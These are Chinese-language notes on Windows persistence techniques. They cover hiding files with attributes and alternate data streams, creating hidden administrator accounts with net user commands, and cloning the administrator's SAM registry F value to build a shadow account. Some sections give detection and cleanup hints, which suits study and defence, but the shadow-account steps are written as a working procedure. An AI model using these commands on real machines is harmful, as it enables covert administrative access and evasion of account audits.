权限维持--windows

隐藏文件

①文件属性隐藏

如何排查： 使用dir命令无法看到有特殊属性的文件需使用/a

②真隐藏

相当于给原本的文件增加系统文件属性、存档文件属性、只读文集属性、隐藏文件属性

如何排查： 取消受保护的操作系统文件

③利用ADS隐藏

使用数据流

echo "123">>tet.php:hidden.jpg::$DATA

此时该文件无法通过补全等常规手段查看

如何排查&清理： dir /r可查 或直接删除对应的显示文件，直接删除test.php即可

隐藏账号&克隆账号

net user test$ qaz123 /add

net localgroup administrators test$ /add

添加隐藏账户，并加入管理员组

检查方法：通过D盾查杀工具

如和创建影子账户,创建出的test用户可以已administrator账户的身份登陆

①创建一个账户名为test$

net user test$ mima /add

给sam表分配权限

注册表:REGEDIT 位置：HKEY_LOCAL_MACHINE\SAM\SAM

导出三个表

①administrator用户的值对应的表3.reg

②test$用户的用户表，1.reg

③test$用户值对应的表，2.reg

替换2.reg中的f值为3.reg

导入注册表，并删除test$账户 先删，后导

net user test$ /del

regedit /s 1.reg

regedit /s 2.reg

导入效果